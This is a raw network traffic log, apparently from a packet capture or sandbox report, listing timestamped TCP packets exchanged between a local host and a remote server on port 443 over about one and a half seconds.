Nov 23, 2024 13:38:12.011466026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.011482000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.013727903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.013742924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.013784885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.013793945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.013834953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.015521049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.015535116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.015582085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.015589952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.015625954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.017927885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.017944098 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.017998934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.018008947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.018045902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.020363092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.020379066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.020406961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.020415068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.020440102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.020458937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.022747040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.022763014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.022795916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.022804976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.022840023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.025031090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.025046110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.025091887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.025100946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.025125980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.025139093 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.026361942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.201705933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.201730013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.201819897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.201864004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.201910973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.203536987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.203553915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.203603983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.203619003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.203658104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.205678940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.205693960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.205763102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.205777884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.205815077 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.207426071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.207441092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.207494974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.207511902 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.207556009 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.208101988 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.209927082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.209943056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.209994078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.210016966 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.210057020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.212284088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.212301016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.212347984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.212366104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.212409019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.214766026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.214782953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.214818954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.214833021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.214850903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.214869976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.215579033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.217039108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.217058897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.217092037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.217104912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.217123032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.217139006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.259145975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.393567085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.393604994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.393707037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.393788099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.393851995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.395328045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.395353079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.395397902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.395414114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.395445108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.396756887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.397599936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.397620916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.397675037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.397690058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.397743940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.400125980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.400146008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.400198936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.400213957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.400243998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.400763988 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.401957035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.401985884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.402034998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.402049065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.402076006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.404289961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.404311895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.404351950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.404373884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.404397964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.404618025 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.404637098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.406750917 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.406771898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.406830072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.406845093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.406897068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.408890963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.408914089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.408962965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.408974886 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.409010887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.409030914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.412483931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.419256926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.585699081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.585726976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.585789919 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.585854053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.585913897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.585915089 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.587383986 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.587400913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.587490082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.587506056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.587558031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.589675903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.589692116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.589745045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.589757919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.589804888 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.592129946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.592148066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.592207909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.592221975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.592276096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.593946934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.593962908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.594007015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.594023943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.594048023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.594070911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.596512079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.596529007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.596575975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.596589088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.596616030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.596641064 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.597117901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.598727942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.598746061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.598817110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.598831892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.598885059 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.600569010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.601011038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.601030111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.601094007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.601108074 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.601176977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.615273952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.778001070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.778026104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.778203011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.778238058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.778320074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.779625893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.779640913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.779707909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.779731035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.779789925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.782114983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.782129049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.782196045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.782222986 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.782264948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.784463882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.784477949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.784547091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.784564972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.784617901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.786287069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.786302090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.786386967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.786405087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.786451101 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.789130926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.789146900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.789212942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.789235115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.789279938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.791064024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.791078091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.791136026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.791153908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.791198015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.791517019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.793212891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.793226957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.793296099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.793315887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.793364048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.854334116 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.969877958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.969902992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.970030069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.970065117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.970110893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.971498013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.971514940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.971592903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.971601009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.971643925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.973784924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.973802090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.973867893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.973876953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.973912001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.976242065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.976259947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.976315022 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.976324081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.976362944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.978046894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.978061914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.978118896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.978126049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.978163004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.980387926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.980407953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.980480909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.980489016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.980528116 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.982908964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.982925892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.982959986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.982969999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.983020067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.985033035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.985049009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.985094070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.985101938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.985146046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.988318920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.161780119 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.161803007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.161947012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.162010908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.162070036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.163614035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.163631916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.163691998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.163710117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.163746119 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.163767099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.166026115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.166043043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.166081905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.166095972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.166136980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.166137934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.168445110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.168463945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.168521881 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.168536901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.168570042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.168587923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.170231104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.170250893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.170310020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.170325041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.170378923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.172663927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.172686100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.172744989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.172759056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.172816038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.175237894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.175261021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.175331116 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.175348997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.175379038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.175399065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.175415039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.177297115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.177311897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.177385092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.177398920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.177454948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.206871033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.353708029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.353730917 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.353817940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.353832960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.353888035 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.355690956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.355706930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.355762005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.355768919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.355799913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.355818033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.358165026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.358180046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.358239889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.358247042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.358280897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.359985113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.359998941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.360054970 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.360061884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.360097885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.362443924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.362458944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.362513065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.362519979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.362555027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.364756107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.364772081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.364820004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.364826918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.364855051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.364876032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.366568089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.366588116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.366647959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.366655111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:13.366688967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:13.368458986 CET	49704	443	192.168.2.5	172.66.0.235
